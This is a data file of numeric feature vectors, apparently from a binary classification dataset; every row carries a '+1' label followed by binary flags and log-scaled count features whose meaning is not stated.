+1,0,1,1,0,0,0,0,0,1,0,10.1414,6.73221,30.2757,4.81218,0.301167,6.47865,0.0705208,0.243437,0,0.12426,2.01485,0.693147,0.693147,0,0,0.693147,1.38629,7.92635,4.02535,1.38629,0.693147,1.09861,0.693147,1.09861,1,0.693147,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,6.03309,2.63906,32,4.21951,0,4.66515,0.20058,0.0769231,0,0.0240385,0.153846,0,0,0,0,0,0,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,1,0,7.68432,4.54329,23.3656,4.29046,0.127778,5.52059,0.11407,0.0860215,0.00276116,0.066728,0.290323,0.693147,0,0.693147,0.693147,0.693147,1.38629,7.77671,1.79176,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0.693147,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,8.7413,5.42495,27.677,4.45435,0,4.60857,0.0120538,0.221239,0,0.0382094,0,0,0,0,0,0,1.09861,4.38203,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.32794,3.04452,27.95,4.23411,0,5.59814,0,0.15,0,0.124642,4.75636,0,0,0.693147,1.09861,0,0,3.7612,0,0,0,2.07944,1.60944,0.693147,1,1.09861,1.09861,0,1.09861,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.71867,0,0,0,0.0717489,0.5,0,0,0.693147,0.693147,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0.693147,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,5.32301,2.19722,25.5,4.17439,0,5.42096,0,0.125,0,0.0714549,3.2572,0,0,1.09861,0,0,0,2.77259,0,0,0,0.693147,1.09861,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0.693147,0,0.693147,0.693147,0,0.693147,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,7.10497,3.7612,28.9762,4.54329,0,6.24603,0.0429287,0.166667,0,0.102937,4.68379,0.693147,0,0,0,0.693147,0,4.27667,0,0,0,2.07944,1.94591,1.09861,1,1.09861,0.693147,0.693147,0,0,1.09861,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,7.1025,3.7612,28.9048,4.54329,0,5.06406,0.0392586,0.166667,0,0.0453048,0.190476,0.693147,0,0.693147,0,0.693147,0,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.89494,5.64897,25.7739,4.51086,0,5.6431,0.107746,0.123675,0,0.0821223,3.42265,0,0,1.09861,0,0,0,4.18965,2.48491,0,0,2.07944,1.09861,0.693147,1,0.693147,0.693147,0,0,0.693147,0,0,1.09861,0,0.693147,0.693147,0,1.09861,0,0,0,0.693147,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,0,1,8.66751,5.47227,24.5148,4.82831,0,5.69324,0.0386816,0.105485,0,0.0913941,4.95452,1.79176,0,0,0,1.38629,0,4.79579,2.83321,0,0,1.94591,1.09861,0.693147,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.1717,2.77259,31.8667,4.20469,0.174898,5.9732,0.0904227,0.0666667,0,0.0376569,0.333333,0,1.09861,0,0,0,1.09861,8.07738,0,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.86827,5.40717,31.991,5.01064,0,4.82819,0.0791538,0.108108,0,0.0392847,0.378378,0,0,1.09861,0.693147,0,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,8.42902,5.0814,28.6062,4.34381,0,6.34008,0.0598105,0.1125,0,0.135528,3.22583,0.693147,0,1.09861,1.09861,0.693147,0,3.71357,0,0,0,2.07944,1.38629,0.693147,1,1.09861,1.09861,0.693147,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,10.0677,6.67456,29.7952,4.51086,0,6.16098,0.0808603,0.0809102,0,0.0801228,3.46235,0.693147,0,0,0,0.693147,0,4.23411,1.60944,0,0,1.79176,1.94591,0.693147,1,0.693147,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,10.527,7.01481,33.5495,4.63473,0,4.49018,0.00726362,0.163669,0,0.0470421,0.00179856,2.19722,0.693147,0.693147,0,1.09861,0.693147,4.36945,3.52636,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.98854,4.77912,24.9661,4.45435,0,5.34275,0.0740961,0.152542,0,0.035981,0.355932,0,0.693147,0.693147,0,0,0,4.18965,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.83623,5.37528,31.9907,4.34381,0,4.89719,0.0690036,0.144186,0,0.0370747,0.204651,1.60944,0,1.09861,0.693147,1.38629,0,3.97029,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,1.79176,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,6.88857,3.3673,35,4.5326,0,5.46647,0.0649682,0.142857,0,0.102678,3.43894,0,0,0,0,0,0,4.11087,0,0,0,1.09861,1.60944,1.09861,1,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,8.60043,5.24702,28.746,5.01064,0.27806,6.06694,0.0885748,0.0952381,0,0.0607885,1.57955,1.09861,0.693147,0,0,1.09861,0.693147,6.10402,0,1.79176,0.693147,2.07944,1.94591,1.09861,1,0.693147,1.09861,1.09861,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,7.54274,4.02535,34.2909,4.40672,0,4.8769,0.0732638,0.218182,0,0.0323436,0,0,0,1.09861,0.693147,0,0,3.49651,1.60944,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.38629,0,1.38629,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,1,9.67143,6.49979,23.881,4.66344,0,6.31153,0.0292708,0.108434,0,0.101018,3.80862,0.693147,0,0,0,0.693147,0,4.27667,2.19722,0,0,1.79176,0.693147,1.09861,1,1.09861,0.693147,1.09861,0,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,1,1,0,1,1,0,9.52799,6.1717,28.7406,4.77068,0,5.00817,0.0113694,0.0899582,0,0.0812345,0.610879,1.09861,0,0,0,0.693147,1.09861,4.23411,2.30259,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0.693147,0,0,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,6.66696,3.3673,28.0357,4.27667,0,4.99353,0.0509987,0.0357143,0,0.089172,1.14286,0,0.693147,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.03309,2.63906,32,4.21951,0.385159,6.32736,0.236271,0.0769231,0,0.0240385,0.153846,0,0,0,0,0,1.09861,6.43085,0,0,1.09861,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,1,9.20493,5.98645,25.0504,5.0626,0.0682434,6.51507,0.0152009,0.0503778,0,0.0824535,0.506297,2.56495,0.693147,0,0,1.38629,0.693147,7.77389,3.43399,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,10.0739,6.70196,29.171,5.0689,0,5.23108,0.0412942,0.0774908,0,0.0496711,0.309963,2.83321,0,1.09861,0.693147,2.19722,0,5.05625,2.56495,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0.693147,0,0.693147,1.09861,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,1,1,0,0,0,0,8.07527,4.86753,24.907,4.82831,0,5.36209,0.0217354,0.131783,0,0.0706505,0.372093,1.09861,0,0,0,0.693147,0.693147,4.81218,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,1,0,0,0,0,7.51915,4.00733,34.1111,4.36945,0,5.21081,0.116945,0.203704,0,0.0309446,0.259259,0.693147,0,0.693147,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,1,9.82108,6.14419,39.6065,5.05625,0,5.15238,0.0727333,0.113978,0,0.0632025,0.87957,1.94591,0,1.09861,1.09861,1.38629,1.09861,4.84419,2.56495,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,1,1,0,1,1,1,9.73826,6.05678,39.7958,5.16479,0.286136,6.23614,0.0152279,0.126761,0,0.0523801,0.643192,1.38629,0,0,0,1.38629,0.693147,6.17821,1.60944,0,1.38629,0,0,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,14.6177,10.2389,79.7486,4.59512,0.117347,6.42769,0.00180648,0.00121563,0,0.0880906,0.918088,1.09861,0,0,0,1.09861,1.09861,6.68098,2.07944,0.693147,0.693147,0.693147,9.15165,0.693147,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.64639,3.3673,27.4643,4.21951,0,4.96843,0.0765484,0.0357143,0,0.0910273,1.14286,0,0,1.09861,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,1.09861,0,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,1,0,7.31522,3.78419,34.9302,4.70953,0,5.07872,0.0694246,0.255814,0.00798935,0.0299601,0.209302,0,0.693147,0,0,0,1.09861,3.78419,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,0,1,0,1,0,1,0,0,1,0,6.78897,3.17805,38.5652,4.35671,0,5.95314,0.0981563,0.130435,0,0.108677,3.96878,0,1.09861,0,0,0,0.693147,3.29584,0,0,0,1.94591,1.38629,0.693147,1,0.693147,1.09861,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,1.09861,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,8.59323,5.22575,29.1568,4.85981,0,6.26332,0.0658088,0.162162,0,0.0813306,4.94828,0,0,0,0,0,0,4.35671,2.07944,0,0,1.60944,1.60944,0.693147,1,1.09861,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,8.29029,5.04343,25.8701,4.78749,0,5.44901,0.0138902,0.0974026,0,0.0996486,0.727273,0,0.693147,0,0,0,0,4.00733,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,0.693147,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.73346,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.88608,4.49981,29.8764,4.41884,0,4.88513,0.0401662,0.101124,0,0.0718315,0.797753,0,0,0.693147,0.693147,0,0,3.73767,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,1,1,9.67143,6.49979,23.881,4.66344,0.268372,5.46119,0.0179036,0.108434,0,0.0660276,0.490964,0.693147,0,0,0,0.693147,1.60944,6.98339,2.19722,1.60944,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,7.10743,3.4012,42.069,4.61512,0,5.13721,0.124982,0.103448,0,0.0229508,0.206897,0,0.693147,0,0,0,1.09861,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,6.20658,3.09104,23.5714,4.14313,0,4.97974,0,0.142857,0,0.0808081,0.380952,0,0,0,0,0,0,3.61092,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,6.32615,3.04452,27.9,4.23411,0,5.29125,0,0.15,0,0.107527,0.25,0,0,0.693147,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,1,0,6.01127,2.89037,23.9412,4.35671,0.300082,6.59399,0.142793,0.117647,0,0.02457,0.117647,0,0,1.09861,1.09861,0,1.09861,8.10187,0,1.09861,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,5.36129,2.19722,26.5,4.23411,0,6.21448,0.0367043,0,0,0.138412,2.48305,0,0,0,0,0,0,3.52636,0,0,0,1.60944,1.38629,0.693147,1,1.09861,1.09861,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,1,1,0,0,0,1,9.73826,6.05678,39.7958,5.16479,0,4.874,0.0349685,0.126761,0,0.0523801,0.643192,1.38629,0.693147,0.693147,1.09861,1.38629,1.09861,4.67283,1.60944,0,0,0,0,0.693147,0,0,0,0,0.693147,0,0,1.38629,0,0.693147,0,0.693147,0,0,0,0.693147,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,1,0,0,6.52503,2.89037,40.0588,4.60517,0,5.24507,0.120662,0.235294,0,0.0337739,0.470588,0,0,0.693147,1.09861,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,1.38629,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,1,0,0,0,0,7.68891,4.44265,25.9881,4.35671,0,4.8695,0.0216986,0.22619,0,0.0316079,0,0,0,0,0,0,0,4.06044,1.60944,0,0,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,1,1,0,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.73346,0,0,0,0.0717489,0.5,0,0.693147,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0,0,0,0,0.693147,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,10.8094,7.47022,28.2109,5.26786,0,5.99729,0.0565841,0.0381984,0,0.126496,4.77277,1.60944,0,0,0,1.09861,0.693147,4.39445,1.60944,0,0,1.94591,1.94591,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,6.01127,2.89037,23.9412,4.35671,0.070766,6.15331,0.328965,0.117647,0,0.02457,0.117647,0,0,0,0,0,1.09861,5.8329,0,0,1.38629,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,7.42595,3.80666,38.1364,4.34381,0,5.11941,0.0375604,0.272727,0,0.0184744,0.113636,0.693147,0,0.693147,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,1.09861,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,9.31578,5.84354,32.2994,4.83628,0,5.89021,0.0446332,0.104651,0,0.103656,3.9621,0,0,0.693147,0,0,0,4.26268,1.79176,0,0,1.09861,1.79176,1.09861,1,1.09861,1.09861,0,0,0.693147,0,0,1.09861,0,1.38629,0.693147,0,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.17948,4.65396,34.2885,4.85203,0,5.19096,0.186449,0.240385,0,0.0510376,0.557692,1.60944,0.693147,0.693147,0,1.09861,1.09861,4.61512,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,7.87891,4.15888,41.9048,4.77068,0,5.72268,0.0139864,0.222222,0,0.117203,3.51589,1.09861,0,0,0,0.693147,0,4.11087,0,0,0,1.09861,1.60944,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,6.1717,2.77259,31.8667,4.20469,0,4.62882,0.160269,0.0666667,0,0.0376569,0.333333,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.32869,5.01064,27.7852,5.15329,0,6.07117,0.00980159,0.114094,0,0.11492,2.31071,0,0,0.693147,0,0,0,4.12713,1.60944,0,0,1.60944,1.79176,1.09861,1,1.09861,0.693147,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,1.09861,0.693147,0.693147,0,1.38629,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,7.40914,3.93183,33,4.82831,0,6.2991,0,0.2,0,0.0818182,2.00663,0,1.09861,0,0,0,1.09861,4.31749,0,0,0,2.07944,1.79176,0.693147,1,1.09861,0.693147,1.09861,0,0,0,1.09861,0,0.693147,0.693147,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,7.77402,4.41884,28.9878,4.70048,0,6.02449,0.00945219,0.207317,0,0.0790913,2.10463,1.38629,0,0,0,0.693147,0.693147,4.67283,1.09861,0,0,1.60944,1.38629,1.09861,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,0,1,0,0,0,0,1,0,1,8.85209,5.63121,25.1367,5.31321,0,5.45035,0.0289906,0.169065,0,0.0591013,0.374101,0.693147,1.09861,0,0,0.693147,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.38629,0,0.693147,0,0,0.693147,0.693147,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,1,0,10.1573,6.97261,24.182,5.23111,0,4.7916,0.0225703,0.152908,0,0.0574909,0.315197,1.60944,1.09861,0,0,1.38629,1.09861,4.94876,3.78419,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,6.74524,3.3673,30.3214,4.47734,0,4.99843,0.0306515,0.0357143,0,0.0824499,1.14286,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,0.693147,0,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,0,1,0,0,0,0,0,0,0,0,8.43707,4.7362,40.8319,5.00395,0,5.57328,0.0190729,0.176991,0,0.08745,2.18032,1.79176,0,0,0,1.38629,0,4.33073,0,0,0,1.09861,1.09861,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,8.37032,5.15906,24.948,4.85981,0,5.26875,0.0245213,0.104046,0,0.0829472,0.537572,0,0.693147,1.09861,0,0,0,3.7612,1.09861,0,0,0,0.693147,0,0,0,0,0,0,0,0,1.09861,0.693147,1.09861,1.09861,1.09861,0,0.693147,0,0.693147,0,0,1,0,0,0,0 +1,0,0,0,0,0,0,0,0,0,0,5.35186,2.07944,30,4.18965,0,5.13806,0,0,0,0.0952381,0,0,0.693147,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,1 +1,1,1,0,1,0,1,0,0,0,0,7.11233,4.17439,19.1562,4.55388,0,4.89729,0.0620503,0.09375,0,0.0301794,0.21875,0,0,0.693147,0,0,0,3.21888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,9.39466,5.67675,41.3162,5.39816,0.312955,5.92812,0.025825,0.0893471,0,0.030608,0.305842,2.07944,0,0,0,1.38629,0.693147,7.37551,0,1.60944,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,1,0,10.6372,7.03791,36.6054,4.99721,0.33172,5.67948,0.0933784,0.072935,0,0.0580215,0.501757,0,1.09861,0,0,0,0.693147,7.34108,2.3979,1.79176,1.09861,0.693147,0,0,0,0,0,0,0,0.693147,0,1.09861,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,6.44889,3.3322,23.3704,4.49981,0,5.65887,0.0292326,0.259259,0,0.128192,3.61566,0,0,0,0,0,0,2.77259,0,0,0,2.07944,1.09861,1.09861,1,1.09861,1.09861,0.693147,0,0,0.693147,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,1,1,0,1,0,1,9.73826,6.05678,39.7958,5.16479,0,4.874,0.0216584,0.126761,0,0.0523801,0.643192,1.38629,0.693147,0.693147,1.09861,1.38629,1.09861,4.67283,1.60944,0,0,0,0,0.693147,0,0,0,0,1.09861,0,1.09861,1.09861,0,1.09861,1.38629,1.09861,0,1.38629,0,1.09861,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,8.04431,4.70953,28.3182,4.69135,0,4.89006,0.00976487,0.118182,0,0.0577849,0.245455,1.38629,0,0,0,0.693147,0,4.33073,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,7.50329,4.09434,30.7288,4.35671,0,5.36414,0.0535031,0.254237,0,0.046332,0.271186,0,0,1.09861,1.09861,0,0,3.95124,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,1,0,10.4293,6.99026,31.1834,4.80402,0.251559,6.39881,0.0485988,0.152074,0,0.0169356,0.00184332,1.38629,1.38629,0,0,1.09861,1.38629,7.7559,3.3673,1.09861,0.693147,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.32869,5.01064,27.7852,5.15329,0,5.1558,0.0327415,0.114094,0,0.0572464,0.228188,0,0,1.09861,1.09861,0,0.693147,4.12713,1.60944,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,7.1025,3.7612,28.9048,4.54329,0,5.86681,0.0137966,0.166667,0,0.139362,2.60825,0.693147,0,0,0,0.693147,0,4.27667,0,0,0,1.79176,1.60944,0.693147,1,0.693147,1.09861,0,0,0,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.3799,2.19722,27,4.23411,0,5.03016,0.0161709,0,0,0.0509259,0.125,0,0,1.09861,1.09861,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.38629,0,1.38629,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.61677,2.56495,22.8333,4.00733,0,5.43323,0,0.166667,0,0.131387,4.17527,0,0,0,0,0,0,3.2581,0,0,0,1.60944,1.94591,0.693147,1,1.09861,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.21501,5.12396,22.1257,4.27667,0,5.15555,0.0720246,0.0958084,0,0.0733424,0.634731,0,0,0.693147,0,0,0,3.17805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,9.70644,6.11589,36.3319,4.67283,0,4.23246,0.0125954,0.146018,0,0.0215564,0,0,0,0,0,0,0,3.89182,3.21888,1.09861,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,1,9.52559,6.01859,33.4268,4.63473,0,5.57656,0.071743,0.165854,0,0.0831649,3.4043,0,0,1.09861,1.09861,0,0,4.36945,2.77259,0,0,1.94591,1.09861,1.09861,1,1.09861,0.693147,0.693147,0.693147,0,0,0,0,0,1.09861,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,7.38461,4.49981,18.0899,4.85981,0,5.34533,0.0509509,0.179775,0,0.0478261,0.393258,0,0,1.09861,0.693147,0,0.693147,4.18965,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,8.89494,5.64897,25.7739,4.51086,0.283528,5.73485,0.0318401,0.123675,0,0.0821223,0.378092,0,0,0,0,0,1.38629,7.48386,2.48491,1.60944,1.09861,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.3799,2.19722,27,4.23411,0,5.03016,0.0293639,0,0,0.0509259,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,1,1,0,8.74481,5.03695,41.0261,4.78749,0.137162,5.62122,0.0764213,0.0980392,0,0.0329775,0.503268,0.693147,0,0,0,0.693147,1.60944,7.1567,0,1.60944,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,7.57147,4.23411,28.5441,4.94876,0,5.01183,0.0280036,0.0882353,0,0.0664606,0.441176,0,0,0,0,0,0,4.14313,1.38629,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0.693147,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,9.2687,5.75257,33.758,4.94164,0,5.58036,0.0823419,0.0700637,0.000188679,0.143767,2.21894,1.94591,0.693147,0,0,1.38629,0.693147,4.26268,1.94591,0,0,1.79176,1.09861,1.09861,1,1.09861,0.693147,0.693147,0,0,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,1,1,0,0,1,0,7.31854,3.89182,31.3958,4.93447,0,5.03001,0.0255283,0.1875,0,0.0404778,0.166667,1.09861,0,0,0,0.693147,1.09861,3.95124,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.38629,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 